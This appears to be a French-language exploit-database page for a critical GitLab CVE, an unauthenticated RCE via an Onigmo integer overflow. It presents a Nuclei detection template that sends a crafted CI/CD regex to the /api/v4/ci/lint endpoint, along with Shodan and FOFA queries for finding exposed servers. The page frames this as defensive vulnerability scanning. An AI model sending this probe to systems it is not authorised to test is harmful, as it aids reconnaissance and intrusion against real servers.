Exploit matérialisé

CVE-2026-97229

CRITICAL KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei critical Vérifié

Source

GitLab CE/EE < 19.2.8 / 19.3.5 / 19.4.2 - Unauthenticated RCE via Onigmo Integer Overflow

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2026-97229 -u https://your-target

Template yaml

id: CVE-2026-97229

info:
  name: GitLab CE/EE < 19.2.8 / 19.3.5 / 19.4.2 - Unauthenticated RCE via Onigmo Integer Overflow
  author: rapid7
  severity: critical
  description: |
    GitLab CE/EE 19.2.0–19.2.7, 19.3.0–19.3.4, and 19.4.0–19.4.1 contain a remote code execution caused by insufficient regular expression validation in CI/CD configuration, letting unauthenticated users execute arbitrary code remotely, exploit requires crafted regex in CI/CD config
  impact: |
    Unauthenticated attackers can execute arbitrary code on the GitLab server, potentially leading to full system compromise.
  remediation: |
    Upgrade to GitLab CE/EE 19.2.8, 19.3.5, 19.4.2 or later.
  reference:
    - https://github.com/jburgess-r7/CVE-2026-97229-PoC
    - https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab
    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-97229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-97229
    epss-score: 0.6522
    epss-percentile: 0.99258
    cwe-id: CWE-190
  metadata:
    max-request: 2
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query: product:"GitLab"
    fofa-query: app="GitLab"
  tags: cve,cve2026,gitlab,rce,critical,kev,cicd,onigmo,regex,unauthenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(header), "x-gitlab-meta")'
        internal: true

  - raw:
      - |
        POST /api/v4/ci/lint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"content":"stages:\n  - scan\ncve_97229_probe:\n  stage: scan\n  rules:\n    - exists:\n        regexp: \"{5(?#)7805}\"\n  script:\n    - echo 1\n"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("valid.{0,5}true", body)'
          - 'regex("errors.{0,5}\\[\\]", body)'
        condition: and

    extractors:
      - type: regex
        name: gitlab_version
        part: header
        regex:
          - '(?i)x-gitlab-meta:\s*\{"version"\s*:\s*"([^"]+)"'
        group: 1
# digest: 490a00463044022051d5e17ffbefa64c0832b2b73bcf5367179dbb47aa6a77d608f19af84fd164f6022031b05611df7108d73874755ebc04458dbcae11bce2e0750e73238191af2b9f46:922c64590222798bb761d5b6d8e72950